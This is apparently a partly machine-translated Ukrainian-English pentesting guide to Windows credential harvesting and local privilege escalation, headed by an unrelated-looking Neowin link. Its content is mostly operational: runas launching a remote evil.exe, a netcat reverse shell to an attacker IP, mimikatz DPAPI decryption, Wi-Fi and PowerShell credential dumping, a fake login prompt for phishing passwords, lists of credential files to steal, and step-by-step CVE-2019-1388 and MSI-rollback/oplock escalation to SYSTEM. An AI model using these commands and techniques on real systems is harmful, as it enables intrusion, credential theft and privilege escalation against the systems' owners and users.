Джерело https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, які Windows може автоматично виконувати вхід за користувача. На перший погляд здається, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так.

Windows Vault зберігає облікові дані, які Windows може використовувати для автоматичного входу користувачів, що означає: будь-який Windows application that needs credentials to access a resource (сервер або вебсайт) can make use of this Credential Manager і Windows Vault та застосовувати надані облікові дані замість того, щоб користувачі постійно вводили ім’я користувача й пароль.

Якщо додатки не взаємодіють із Credential Manager, я не вважаю, що вони зможуть використовувати облікові дані для конкретного ресурсу. Тому, якщо ваш додаток хоче використовувати vault, він повинен якимось чином спілкуватися з Credential Manager і запитувати облікові дані для цього ресурсу з дефолтного сховища.

Використовуйте cmdkey щоб вивести список збережених облікових даних на машині.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Тоді ви можете використати runas з опцією /savecred, щоб використовувати збережені облікові дані. У наступному прикладі викликається віддалений бінарний файл через SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Використання runas з наданим набором облікових даних.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Зверніть увагу, що mimikatz, lazagne, credentialfileview, VaultPasswordView, або з Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) надає метод симетричного шифрування даних, який здебільшого використовується в операційній системі Windows для симетричного шифрування приватних ключів асиметричних алгоритмів. Це шифрування використовує секрет користувача або системи, що значною мірою додає ентропії.

DPAPI дозволяє шифрувати ключі за допомогою симетричного ключа, який виводиться з секретів входу користувача. У випадках системного шифрування воно використовує секрети автентифікації домену системи.

Зашифровані RSA-ключі користувача, за допомогою DPAPI, зберігаються в директорії %APPDATA%\Microsoft\Protect{SID}, де {SID} означає Security Identifier. Ключ DPAPI, розташований разом із головним ключем, який захищає приватні ключі користувача в тому ж файлі, зазвичай складається з 64 байт випадкових даних. (Важливо зауважити, що доступ до цієї директорії обмежений — її вміст не можна перерахувати за допомогою команди dir в CMD, хоча його можна переглянути через PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Ви можете використати mimikatz module dpapi::masterkey з відповідними аргументами (/pvk або /rpc) для його дешифрування.

credentials files protected by the master password зазвичай розташовані в:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials часто використовуються для scripting та завдань автоматизації як спосіб зручного зберігання зашифрованих credentials. Ці credentials захищені за допомогою DPAPI, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп’ютері, на якому вони були створені.

Щоб decrypt PS credentials з файлу, що їх містить, ви можете зробити:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Збережені RDP підключення

Ви можете знайти їх у HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
та в HKCU\Software\Microsoft\Terminal Server Client\Servers\

Нещодавно виконані команди

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Диспетчер облікових даних Remote Desktop

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
Ви можете витягти багато DPAPI masterkeys з пам’яті за допомогою модуля Mimikatz sekurlsa::dpapi

Sticky Notes

Люди часто використовують додаток StickyNotes на Windows робочих станціях, щоб зберігати паролі та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл розташований за шляхом C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite і завжди вартий пошуку та перевірки.

AppCmd.exe

Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути Адміністратором і запускатися на рівні підвищеної цілісності.
AppCmd.exe знаходиться в директорії %systemroot%\system32\inetsrv\.\ Якщо цей файл існує, то можливо, що деякі облікові дані були налаштовані і можуть бути відновлені.

Цей код було витягнуто з PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Перевірте, чи існує C:\Windows\CCM\SCClient.exe .
Інсталятори запускаються з привілеями SYSTEM, багато з них вразливі до DLL Sideloading (Інформація з https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Файли та Реєстр (Облікові дані)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH-ключі в реєстрі

Приватні SSH-ключі можуть зберігатися в ключі реєстру HKCU\Software\OpenSSH\Agent\Keys, тому слід перевірити, чи є там щось цікаве:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він збережений у зашифрованому вигляді, але його можна легко дешифрувати за допомогою https://github.com/ropnop/windows_sshagent_extract.
Більше інформації про цю техніку тут: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Якщо служба ssh-agent не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Схоже, ця техніка більше не діє. Я спробував створити кілька ssh-ключів, додати їх за допомогою ssh-add і підключитися по ssh до машини. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання dpapi.dll під час автентифікації асиметричного ключа.

Несупровідні файли

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Ви також можете шукати ці файли за допомогою metasploit: post/windows/gather/enum_unattend

Приклад вмісту:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM резервні копії

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Хмарні облікові дані

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Пошукайте файл під назвою SiteList.xml

Кешований пароль GPP

Раніше існувала функція, яка дозволяла розгортати користувацькі локальні акаунти адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав серйозні вразливості безпеки. По-перше, Group Policy Objects (GPOs), збережені як XML-файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані AES256 з використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені права.

Щоб пом’якшити цей ризик, була розроблена функція, яка сканує локально кешовані файли GPP на наявність поля “cpassword”, яке не є порожнім. Знайшовши такий файл, функція розшифровує пароль і повертає користувацький PowerShell-об’єкт. Цей об’єкт містить деталі про GPP та місцезнаходження файлу, що допомагає у виявленні та усуненні цієї вразливості.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (до Windows Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Щоб розшифрувати cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Використання crackmapexec для отримання паролів:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS веб-конфіг

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Приклад web.config з обліковими даними:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN облікові дані

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Логи

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Попросити credentials

Ви завжди можете попросити користувача ввести свої credentials або навіть credentials іншого користувача, якщо вважаєте, що він може їх знати (зверніть увагу, що просити клієнта безпосередньо надати credentials — це дуже ризиковано):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Можливі імена файлів, що містять облікові дані

Відомі файли, які деякий час тому містили passwords у clear-text або Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Пошук у всіх запропонованих файлах:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Облікові дані в RecycleBin

Вам також слід перевірити Bin на наявність облікових даних

Щоб відновити паролі, збережені різними програмами, ви можете використати: http://www.nirsoft.net/password_recovery_tools.html

Всередині реєстру

Інші можливі ключі реєстру з обліковими даними

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Історія браузерів

Варто перевірити наявність dbs, де зберігаються паролі для Chrome or Firefox.
Також перевірте історію, закладки і favourites браузерів — можливо там також збережені деякі паролі.

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) — технологія, вбудована в операційну систему Windows, яка дозволяє взаємодію між програмними компонентами, написаними різними мовами. Кожен COM компонент ідентифікується через class ID (CLSID), а функціональність компонента надається одним або кількома інтерфейсами, ідентифікованими interface IDs (IIDs).

COM classes and interfaces визначені в реєстрі під HKEY\CLASSES\ROOT\CLSID та HKEY\CLASSES\ROOT\Interface відповідно. Цей розділ реєстру створюється шляхом злиття HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Всередині CLSID цього розділу реєстру можна знайти дочірній ключ InProcServer32, який містить default value, що вказує на DLL, та значення ThreadingModel, яке може бути Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) або Neutral (Thread Neutral).

Фактично, якщо ви можете перезаписати будь-який із DLL, що будуть завантажені, ви можете підвищити привілеї, якщо цей DLL буде виконаний від імені іншого користувача.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Загальний пошук паролів у файлах та реєстрі

Пошук вмісту файлів

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Пошук файлу з певним іменем

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Пошук у реєстрі імен ключів та паролів

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Інструменти для пошуку паролів

MSF-Credentials Plugin це msf плагін. Я створив цей плагін для автоматичного виконання всіх metasploit POST модулів, які шукають облікові дані всередині жертви.
Winpeas автоматично шукає всі файли, що містять паролі, згадані на цій сторінці.
Lazagne — ще один чудовий інструмент для витягання паролів із системи.

Інструмент SessionGopher шукає sessions, usernames і passwords кількох програм, які зберігають ці дані у clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Прочитайте цей приклад для більш докладної інформації про як виявити та експлуатувати цю вразливість.
Прочитайте це інше повідомлення для повнішого пояснення про те, як тестувати та зловживати іншими відкритими handlers процесів і потоків, успадкованими з різними рівнями дозволів (не лише full access).

Named Pipe Client Impersonation

Сегменти спільної пам’яті, що називають pipes, дозволяють процесам здійснювати обмін повідомленнями та передавати дані.

Windows надає функціонал під назвою Named Pipes, що дозволяє несуміжним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначаються як named pipe server та named pipe client.

Коли дані надсилає client, server, який створив pipe, може прийняти ідентичність цього client, за умови наявності в нього необхідних прав SeImpersonate. Виявлення privileged process, який спілкується через pipe, що ви можете імітувати, дає можливість отримати вищі привілеї шляхом прийняття ідентичності цього процесу, коли він взаємодіє з pipe, який ви встановили. Інструкції з виконання такої атаки можна знайти тут і тут.

Крім того, наступний інструмент дозволяє перехоплювати комунікацію named pipe за допомогою інструменту на кшталт burp: https://github.com/gabriel-sztejnworcel/pipe-intercept а цей інструмент дозволяє перерахувати та переглянути всі pipes для знаходження privescs https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

Перегляньте сторінку https://filesec.io/

Monitoring Command Lines for passwords

When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Викрадення паролів з процесів

Від користувача з обмеженими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Якщо у вас є доступ до графічного інтерфейсу (через console або RDP) та UAC увімкнено, у деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, наприклад “NT\AUTHORITY SYSTEM”, від імені користувача без привілеїв.

Це дозволяє підвищити привілеї та одночасно обійти UAC через ту саму вразливість. Крім того, немає потреби нічого встановлювати, і бінарний файл, який використовується під час процесу, підписаний та випущений Microsoft.

Деякі з уражених систем:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Щоб експлуатувати цю вразливість, необхідно виконати такі кроки:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

Від Administrator Medium до High Integrity Level / UAC Bypass

Прочитайте це, щоб дізнатися про Integrity Levels:

Integrity Levels

Потім прочитайте це, щоб дізнатися про UAC та обходи UAC:

UAC - User Account Control

Від довільного видалення/переміщення/перейменування папки до SYSTEM EoP

Техніка, описана in this blog post з exploit code available here.

Атака, по суті, полягає в зловживанні rollback-функціоналом Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючому потрібно створити malicious MSI installer, який буде використаний для захоплення папки C:\Config.Msi, яка пізніше використовуватиметься Windows Installer для зберігання rollback-файлів під час деінсталяції інших MSI-пакетів, де rollback-файли були змінені, щоб містити шкідливий payload.

Стислий опис техніки такий:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

Від довільного видалення/переміщення/перейменування файлу до SYSTEM EoP

Основна MSI rollback-техніка (попередня) припускає, що ви можете видалити всю папку (наприклад, C:\Config.Msi). Але що якщо ваша вразливість дозволяє лише довільне видалення файлів?

Ви можете експлуатувати внутрішні механізми NTFS: кожна папка має прихований alternate data stream, який називається:

C:\SomeFolder::$INDEX_ALLOCATION

Цей потік зберігає індексні метадані папки.

Отже, якщо ви видалите потік ::$INDEX_ALLOCATION папки, NTFS видаляє всю папку з файлової системи.

Це можна зробити за допомогою стандартних API для видалення файлів, наприклад:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Навіть якщо ви викликаєте API видалення файлу, воно видаляє саму папку.

Від видалення вмісту папки до SYSTEM EoP

Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він дозволяє видалення вмісту папки, контрольованої атакуючим?

  1. Крок 1: Підготуйте папку-приманку та файл
  • Створіть: C:\temp\folder1
  • Всередині: C:\temp\folder1\file1.txt
  1. Крок 2: Розмістіть oplock на file1.txt
  • oplock призупиняє виконання, коли привілейований процес намагається видалити file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Викличте процес SYSTEM (наприклад, SilentCleanup)
  • Цей процес сканує папки (наприклад, %TEMP%) і намагається видалити їх вміст.
  • Коли він доходить до file1.txt, oplock triggers і передає керування вашому callback.
  1. Всередині oplock callback – перенаправте видалення
  • Варіант A: Перемістіть file1.txt в інше місце

  • Це очищує folder1, не зриваючи oplock.

  • Не видаляйте file1.txt безпосередньо — це передчасно звільнить oplock.

  • Варіант B: Перетворіть folder1 на junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Варіант C: Створити symlink у \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Це спрямовано на внутрішній потік NTFS, який зберігає метадані папки — його видалення видаляє папку.

  1. Крок 5: Відпустити oplock
  • Процес SYSTEM продовжує й намагається видалити file1.txt.
  • Але тепер, через junction + symlink, насправді видаляється:
C:\Config.Msi::$INDEX_ALLOCATION

Результат: C:\Config.Msi видалено SYSTEM.

